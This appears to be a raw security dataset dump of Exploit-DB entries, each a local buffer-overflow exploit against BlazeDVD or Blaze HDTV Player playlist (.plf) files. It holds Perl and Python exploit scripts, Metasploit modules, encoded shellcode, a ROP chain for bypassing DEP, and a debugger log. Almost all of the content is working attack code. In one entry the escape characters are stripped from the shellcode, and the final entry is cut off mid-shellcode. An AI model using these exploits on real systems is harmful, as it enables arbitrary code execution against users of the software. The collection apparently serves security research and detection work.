deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9346
Description: Blaze HDTV Player 6.0 - '.plf' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-08-03
Author: hack4love

Exploit:
#!/usr/bin/perl
# by hack4love
# hack4love@hotmail.com
# Blaze HDTV Player 6.0 (.PLF File) Local Buffer Overflow Exploit (SEH)
# ## easy ##
###Thanks for SkuLL-HacKeR ####and all WwW.Sec-ArT.CoM/cc team
##AND special THANKS FOR EL7ADRANY ##AND 3ASFH TEAM##
## this work sooooooooo good
## Tested on: Windows XP Pro SP2 (EN)
##################################################################
my $bof="\x41" x 608;
my $nsh="\xEB\x06\x90\x90";
my $seh="\xb8\x15\xd1\x72";
my $nop="\x90" x 20;
my $sec=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
print $bof.$nsh.$seh.$nop.$sec;
###################################################################
open(myfile,'>> HACK4LOVE.PLF');
print myfile $bof.$nsh.$seh.$nop.$sec;
###################################################################

# milw0rm.com [2009-08-03]
Exploit-DB #16618
Description: BlazeDVD 5.1 - PLF Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2010-11-11
Author: Metasploit

Exploit:
##
# $Id: blazedvd_plf.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'BlazeDVD 5.1 PLF Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack over flow in BlazeDVD 5.1. When
					the application is used to open a specially crafted plf file,
					a buffer is overwritten allowing for the execution of arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 10998 $',
			'References'     =>
				[
					[ 'CVE' , '2006-6199' ],
					[ 'OSVDB', '30770'],
					[ 'BID', '35918' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00",
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
					'DisableNops'  =>  'True',
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'BlazeDVD 5.1', { 'Ret' => 0x100101e7 } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Aug 03 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME',   [ false, 'The file name.',  'msf.plf']),
			], self.class)
	end

	def exploit

		plf = rand_text_alpha_upper(6024)

		plf[868,8] = Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)  + [target.ret].pack('V')
		plf[876,12] = make_nops(12)
		plf[888,payload.encoded.length] = payload.encoded

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(plf)

	end

end

=begin
0:000> !exchain
0012f2c8: 31644230
Invalid exception stack at 64423963
0:000> !pattern_offset 6024 0x31644230
[Byakugan] Control of 0x31644230 at offset 872.
0:000> !pattern_offset 6024 0x64423963
[Byakugan] Control of 0x64423963 at offset 868.
0:000> s -b 0x10000000 0x10018000 5e 59 c3
100012cd  5e 59 c3 56 8b 74 24 08-57 8b f9 56 e8 a2 3c 00  ^Y.V.t$.W..V..<.
100101e7  5e 59 c3 90 90 90 90 90-90 8b 44 24 08 8b 4c 24  ^Y........D$..L$
0:000> u 0x100012cd L3
skinscrollbar!SkinSB_ParentWndProc+0x1fd:
100012cd 5e              pop     esi
100012ce 59              pop     ecx
100012cf c3              ret
=end
Exploit-DB #9329
Description: BlazeDVD 5.1 Professional - '.plf' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-08-03
Author: hack4love

Exploit:
#!/usr/bin/perl
# by hack4love
# hack4love@hotmail.com
# BlazeDVD 5.1 Professional (.PLF File) Local Buffer Overflow Exploit (SEH)
# ## easy ##
###Thanks for SkuLL-HacKeR ####and all WwW.Sec-ArT.CoM/cc team
##AND special THANKS FOR EL7ADRANY ##AND 3ASFH TEAM##
## this work sooooooooo good
## Tested on: Windows XP Pro SP2 (EN)
##################################################################
my $bof="\x41" x 608;
my $nsh="\xEB\x06\x90\x90";
my $seh="\xb8\x15\xd1\x72";
my $nop="\x90" x 20;
my $sec=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
print $bof.$nsh.$seh.$nop.$sec;
###################################################################
open(myfile,'>> HACK4LOVE.PLF');
print myfile $bof.$nsh.$seh.$nop.$sec;
###################################################################

# milw0rm.com [2009-08-03]
Exploit-DB #9360
Description: BlazeDVD 5.1/HDTV Player 6.0 - '.plf' Universal Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-08-04
Author: ThE g0bL!N

Exploit:
#!/usr/bin/perl
# by ThE g0bL!N
#THNX: His0k4 Wahdo :)
#BlazeDVD 5.1 Professional/Blaze HDTV Player 6.0 /(.PLF File) Universal Buffer Overflow Exploit (SEH)
##################################################################
my $bof="x41" x 608;
my $nsh="xEBx06x90x90";
my $seh="x71xFBx32x60" ;# Universal Address
my $nop="x90" x 20;
my $sec=
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49".
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36".
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34".
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41".
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34".
"x42x50x42x50x42x30x4bx38x45x34x4ex43x4bx48x4ex47".
"x45x30x4ax47x41x50x4fx4ex4bx48x4fx44x4ax41x4bx48".
"x4fx55x42x52x41x30x4bx4ex49x54x4bx58x46x43x4bx38".
"x41x50x50x4ex41x33x42x4cx49x49x4ex4ax46x48x42x4c".
"x46x37x47x50x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e".
"x46x4fx4bx43x46x55x46x32x46x30x45x47x45x4ex4bx48".
"x4fx35x46x32x41x30x4bx4ex48x56x4bx58x4ex30x4bx44".
"x4bx58x4fx55x4ex31x41x50x4bx4ex4bx58x4ex51x4bx48".
"x41x50x4bx4ex49x58x4ex55x46x42x46x30x43x4cx41x33".
"x42x4cx46x36x4bx38x42x44x42x53x45x48x42x4cx4ax37".
"x4ex30x4bx48x42x54x4ex30x4bx58x42x57x4ex51x4dx4a".
"x4bx38x4ax36x4ax50x4bx4ex49x30x4bx48x42x48x42x4b".
"x42x50x42x50x42x50x4bx48x4ax56x4ex33x4fx35x41x53".
"x48x4fx42x56x48x45x49x38x4ax4fx43x58x42x4cx4bx57".
"x42x35x4ax46x42x4fx4cx58x46x50x4fx55x4ax36x4ax59".
"x50x4fx4cx38x50x50x47x35x4fx4fx47x4ex43x36x41x56".
"x4ex56x43x46x42x30x5a";
print $bof.$nsh.$seh.$nop.$sec;
###################################################################
open(myfile,'>> dz.plf');
print myfile $bof.$nsh.$seh.$nop.$sec;
###################################################################

# milw0rm.com [2009-08-04]
Exploit-DB #13998
Description: BlazeDVD 6.0 - '.plf' File Universal Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2010-06-23
Author: Madjix

Exploit:
###################################################################
#Exploit Title : BlazeDVD v6 (.plf) SEH universale Buffer Overflow
#tested on windows xp SP 3 FR
#Author: MadjiX [Dz8 HotmaiL cOm]
#Greets:Bibi-info , His0k4 [ where are you :( ]
###################################################################
my $file= "MadjiX.plf";
my $junk="\x41" x 608;
my $nseh="\xeb\x06\x90\x90";
my $seh= pack('V',0x100157F5);
my $nops="\x90" x 24;
#calc
my $shellcode="\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
open($FILE,">$file");
print $FILE $junk.$nseh.$seh.$nops.$shellcode;
close($FILE);
Exploit-DB #14077
Description: BlazeDVD 6.0 - Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2010-06-27
Author: blake

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'BlazeDVD 6.0 PLF Buffer Overflow',
'Description' => %q{
This module exploits a stack over flow in BlazeDVD 6.0.
When
the application is used to open a specially crafted plf
file,
a buffer is overwritten allowing for the execution of
arbitrary code.
Set the EXITFUNC to seh or thread for best results.
},
'License' => MSF_LICENSE,
'Author' => [ 'Blake' ],
'Version' => '$Revision 1$',
'References' =>
[
[ 'EDB-ID' , '13998' ],
[ 'BID', '35918' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1363,
'BadChars' => "\x00\x0a\x0d",
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
[ 'BlazeDVD 6.0 Universal', { 'Ret' => 0x6033077D } ],
],
'Privileged' => false,
'DisclosureDate' => 'June 23, 2010',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ false,
'The file name.', 'msf.plf']),
], self.class)

end

def exploit

plf = rand_text_alphanumeric(608)
plf << "\xeb\x06\x90\x90"
plf << [target.ret].pack('V')
plf << make_nops(20)
plf << payload.encoded
plf << rand_text_alphanumeric(1364 - payload.encoded.length)

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(plf)

end

end
Exploit-DB #26889
Description: BlazeDVD Pro Player 6.1 - Direct RET Local Stack Buffer Overflow
Type: local
Platform: windows
Date: 2013-07-16
Author: PuN1sh3r

Exploit:
#!/usr/bin/perl

# BlazeDVD Pro player 6.1  Local stack based buffer overflow
# Author: PuN1sh3r
# Email: luiguibiker@gmail.com
# Date: Mon Jul 15 03:01:37 EDT 2013
# Vendor link: http://www.blazevideo.com/download.htmm
# Software Link: http://www.blazevideo.com/download.php?product=BlazeDVDPro
# App Version: 6.1
# Tested on: Windows 2003 server sp1(EN)
# special thanks to corelanc0d3r for his amazing tutorials


$file = "blazeExpl.plf";
$junk = "\x41" x 260;
$eip = "\x33\xFE\xE4\x77"; #jmp ESP on kernel32.dll

#msf win/exec calc.exe [*] x86/alpha_mixed 
$shellcode = "\x89\xe7\xda\xd4\xd9\x77\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x49\x6c\x78\x68\x4d\x59\x67\x70\x77\x70" .
"\x43\x30\x65\x30\x6b\x39\x5a\x45\x76\x51\x59\x42\x52\x44" .
"\x6e\x6b\x71\x42\x46\x50\x6e\x6b\x56\x32\x36\x6c\x4e\x6b" .
"\x53\x62\x66\x74\x6c\x4b\x33\x42\x36\x48\x34\x4f\x6f\x47" .
"\x51\x5a\x75\x76\x75\x61\x39\x6f\x45\x61\x79\x50\x6c\x6c" .
"\x67\x4c\x70\x61\x53\x4c\x66\x62\x36\x4c\x57\x50\x5a\x61" .
"\x7a\x6f\x46\x6d\x63\x31\x5a\x67\x4a\x42\x4a\x50\x72\x72" .
"\x33\x67\x6c\x4b\x76\x32\x76\x70\x6c\x4b\x53\x72\x35\x6c" .
"\x46\x61\x4a\x70\x6e\x6b\x31\x50\x50\x78\x6b\x35\x39\x50" .
"\x54\x34\x62\x6a\x67\x71\x4e\x30\x30\x50\x6c\x4b\x52\x68" .
"\x35\x48\x6e\x6b\x70\x58\x51\x30\x43\x31\x6a\x73\x5a\x43" .
"\x55\x6c\x43\x79\x6c\x4b\x37\x44\x4c\x4b\x37\x71\x69\x46" .
"\x36\x51\x39\x6f\x46\x51\x4f\x30\x4e\x4c\x4f\x31\x5a\x6f" .
"\x64\x4d\x37\x71\x5a\x67\x46\x58\x79\x70\x43\x45\x4b\x44" .
"\x77\x73\x31\x6d\x4b\x48\x47\x4b\x51\x6d\x46\x44\x50\x75" .
"\x39\x72\x30\x58\x6c\x4b\x53\x68\x75\x74\x35\x51\x59\x43" .
"\x65\x36\x6c\x4b\x36\x6c\x52\x6b\x6e\x6b\x42\x78\x47\x6c" .
"\x63\x31\x48\x53\x6e\x6b\x63\x34\x4e\x6b\x56\x61\x7a\x70" .
"\x6c\x49\x73\x74\x34\x64\x56\x44\x63\x6b\x53\x6b\x43\x51" .
"\x61\x49\x43\x6a\x66\x31\x4b\x4f\x4b\x50\x31\x48\x71\x4f" .
"\x33\x6a\x6c\x4b\x32\x32\x48\x6b\x6e\x66\x31\x4d\x51\x7a" .
"\x76\x61\x6c\x4d\x6e\x65\x4f\x49\x37\x70\x67\x70\x63\x30" .
"\x72\x70\x70\x68\x44\x71\x4e\x6b\x32\x4f\x6b\x37\x39\x6f" .
"\x38\x55\x4f\x4b\x7a\x50\x6d\x65\x6c\x62\x70\x56\x55\x38" .
"\x6f\x56\x4d\x45\x6d\x6d\x6f\x6d\x39\x6f\x4b\x65\x55\x6c" .
"\x74\x46\x63\x4c\x55\x5a\x6d\x50\x49\x6b\x6b\x50\x64\x35" .
"\x67\x75\x6f\x4b\x72\x67\x57\x63\x71\x62\x62\x4f\x30\x6a" .
"\x57\x70\x36\x33\x69\x6f\x68\x55\x73\x53\x61\x71\x72\x4c" .
"\x30\x63\x44\x6e\x70\x65\x32\x58\x32\x45\x65\x50\x41\x41";
$junk .= $eip . "\x90" x 50 . $shellcode ;
###############################################################
open(FILE,">$file");
print FILE $junk;
close(FILE);
###############################################################
Exploit-DB #32737
Description: BlazeDVD Pro Player 6.1 - Stack Buffer Overflow Jump ESP
Type: local
Platform: windows
Date: 2014-04-08
Author: Deepak Rathore

Exploit:
## Exploit-DB Note: XPSP3 - my $eip = pack('V',0x7c868667); #jmp ESP on kernel32.dll 



# Date: Tue Apr 8 2014 
# Vendor link: http://www.blazevideo.com/download.htmm
# Software Link: http://www.blazevideo.com/download.php?product=BlazeDVDPro
# App Version: 6.1
# Tested on: Windows XP service pack 2 (en)

my $file= "blazeExpl.plf";
my $junk= "A" x 260;

my $eip = pack('V',0x7C82385D); #jmp ESP on kernel32.dll

my $prependesp = "XXXX";  #add 4 bytes so ESP points at beginning of shellcode bytes

my $shellcode = "\x90" x 25;   #start shellcode with some NOPS

# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc

$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "plf File Created successfully\n";
Exploit-DB #34331
Description: BlazeDVD Pro Player 7.0 - '.plf' Direct RET Local Stack Buffer Overflow
Type: local
Platform: windows
Date: 2014-08-12
Author: Giovanni Bartolomucci

Exploit:
# BlazeDVD Pro v7.0 - (.plf) Stack Based Buffer Overflow (direct RET) - ALSR/DEP bypass on Win8.1 Pro
# Date: Mon, Aug 11 2014 12:58:06 GMT
# Exploit Author: Giovanni Bartolomucci
# Vendor Homepage: http://www.blazevideo.com/
# Software Link: http://www.blazevideo.com/download/BlazeDVDProSetup.exe
# Version: 7.0.0.0
# Tested on: Windows 8.1 Pro
# h/t to corelanc0d3r and b33f for their tutorials

#!/usr/bin/python
 
import sys, struct
 
file = "calc.plf"

junk1   = "\x41"*260
neweip  = "\x5b\x51\x32\x60"
junk2   = "\x41"*24

rop =  "\x41\x47\x32\x60" # POP EBP # RETN [Configuration.dll]
rop += "\xb5\x59\x33\x60" # &(PUSH ESP # RET 0x0C) [Configuration.dll]
rop += "\xf6\x07\x33\x60" # POP EAX # RET [Configuration.dll]
rop += "\x91\x11\x11\x11" # Value to be subtracted, will become 0x000000080
rop += "\x39\x03\x33\x60" # POP ECX # RETN [Configuration.dll]
rop += "\x11\x11\x11\x11" # Value to subtract
rop += "\xda\x6d\x32\x60" # SUB EAX,ECX # RETN [Configuration.dll]
rop += "\x7d\x41\x32\x60" # XCHG EAX,EBX # XOR AL,60 # RETN [Configuration.dll]
rop += "\xf6\x07\x33\x60" # POP EAX # RETN [Configuration.dll]
rop += "\x47\x98\x31\x60" # Junk R address
rop += "\x47\x98\x31\x60" # POP EDX # ADD AL,BYTE PTR ES:[EAX] # NOP # NOP # NOP # NOP # NOP # MOV EAX,Configur.60346A70 # RETN [Configuration.dll]
rop += "\x51\x11\x11\x11" # Value to be subtracted, will become 0x000000040
rop += "\xf6\x07\x33\x60" # POP EAX # RETN [Configuration.dll]
rop += "\x11\x11\x11\x11" # Value to subtract
rop += "\x78\x8b\x30\x60" # SUB EDX,EAX # XOR EAX,EAX # CMP ECX,EDX # SETG AL # RETN 0x04 [Configuration.dll]
rop += "\x8c\xf0\x33\x60" # POP ECX # RETN [Configuration.dll]
rop += "\x41\x41\x41\x41" # Junk
rop += "\x0b\x17\x36\x60" # & Writable location [Configuration.dll]
rop += "\xee\x78\x32\x60" # POP EDI # RETN [Configuration.dll]
rop += "\x09\x48\x32\x60" # RETN (ROP NOP) [Configuration.dll]
rop += "\x65\x08\x33\x60" # POP EAX # RETN [Configuration.dll]
rop += "\xcc\x42\x05\x64" # ptr to &VirtualProtect() [IAT MediaPlayerCtrl.dll]
rop += "\xed\xd6\x33\x60" # MOV ESI,DWORD PTR DS:[EAX] # RETN [Configuration.dll]
rop += "\xa2\x92\x32\x60" # POP EAX # RETN [Configuration.dll]
rop += "\x90\x90\x90\x90" # NOP
rop += "\x28\xc3\x33\x60" # PUSHAD # RETN [Configuration.dll]

shellcode = ("\x66\x81\xE4\xFC\xFF\x31\xD2\x52\x68\x63"
             "\x61\x6C\x63\x89\xE6\x52\x56\x64\x8B\x72"
             "\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30"
             "\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78"
             "\x8B\x74\x1F\x20\x01\xFE\x8B\x4C\x1F\x24"
             "\x01\xF9\x42\xAD\x81\x3C\x07\x57\x69\x6E"
             "\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
             "\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7\xCC")

exploit = junk1 + neweip + junk2 + rop + shellcode
 
writeFile = open(file, "w")
writeFile.write(exploit)
writeFile.close()
Exploit-DB #34371
Description: BlazeDVD Pro Player 7.0 - '.plf' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2014-08-20
Author: metacom

Exploit:
# BlazeDVD Pro v7.0 - (.plf) Buffer Overflow SEH 
# Date: 19.08.2014
# Exploit Author: metacom
# Vendor Homepage: http://www.blazevideo.com/
# Software Link: http://www.blazevideo.com/download/BlazeDVDProSetup.exe
# Version: 7.0.0.0
# Tested on: Win 7 EN, Win 8.1 


#!/usr/bin/python

from struct import pack
 
buffer= "\x41" * 608
nseh="\xeb\x06\xff\xff" 
seh=pack("<I", 0x6030F817) #6030F817  5E POP ESI Configuration.dll
nops="\x90" * 50
# msfpayload windows/exec CMD=calc.exe R |
# msfencode -e x86/alpha_mixed -c 1 -b '\x00\x0a\x0d\xff'
shell=("\xdb\xcd\xd9\x74\x24\xf4\x5f\x57\x59\x49\x49\x49\x49\x49" 
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a" 
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" 
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" 
"\x75\x4a\x49\x69\x6c\x6b\x58\x4f\x79\x55\x50\x75\x50\x35" 
"\x50\x33\x50\x4b\x39\x49\x75\x66\x51\x4a\x72\x52\x44\x6e" 
"\x6b\x70\x52\x44\x70\x6e\x6b\x42\x72\x44\x4c\x4c\x4b\x63" 
"\x62\x64\x54\x6e\x6b\x42\x52\x54\x68\x34\x4f\x6c\x77\x63" 
"\x7a\x35\x76\x65\x61\x4b\x4f\x74\x71\x4f\x30\x6c\x6c\x65" 
"\x6c\x71\x71\x53\x4c\x46\x62\x76\x4c\x37\x50\x49\x51\x68" 
"\x4f\x76\x6d\x57\x71\x6b\x77\x7a\x42\x7a\x50\x32\x72\x42" 
"\x77\x4c\x4b\x42\x72\x44\x50\x6c\x4b\x31\x52\x37\x4c\x55" 
"\x51\x7a\x70\x4c\x4b\x33\x70\x62\x58\x4f\x75\x6b\x70\x51" 
"\x64\x52\x6a\x77\x71\x78\x50\x42\x70\x4c\x4b\x52\x68\x47" 
"\x68\x4c\x4b\x46\x38\x37\x50\x77\x71\x5a\x73\x58\x63\x55" 
"\x6c\x53\x79\x4e\x6b\x66\x54\x4c\x4b\x73\x31\x38\x56\x75" 
"\x61\x59\x6f\x36\x51\x59\x50\x4c\x6c\x6a\x61\x4a\x6f\x34" 
"\x4d\x46\x61\x79\x57\x77\x48\x49\x70\x31\x65\x4b\x44\x65" 
"\x53\x43\x4d\x6b\x48\x65\x6b\x53\x4d\x64\x64\x53\x45\x6d" 
"\x32\x73\x68\x6e\x6b\x70\x58\x67\x54\x67\x71\x39\x43\x62" 
"\x46\x6c\x4b\x76\x6c\x42\x6b\x4e\x6b\x62\x78\x45\x4c\x37" 
"\x71\x38\x53\x4c\x4b\x46\x64\x4c\x4b\x45\x51\x48\x50\x4c" 
"\x49\x50\x44\x71\x34\x47\x54\x71\x4b\x31\x4b\x63\x51\x31" 
"\x49\x63\x6a\x70\x51\x69\x6f\x39\x70\x46\x38\x73\x6f\x53" 
"\x6a\x4e\x6b\x56\x72\x58\x6b\x4b\x36\x31\x4d\x42\x4a\x55" 
"\x51\x4c\x4d\x4d\x55\x38\x39\x65\x50\x65\x50\x65\x50\x56" 
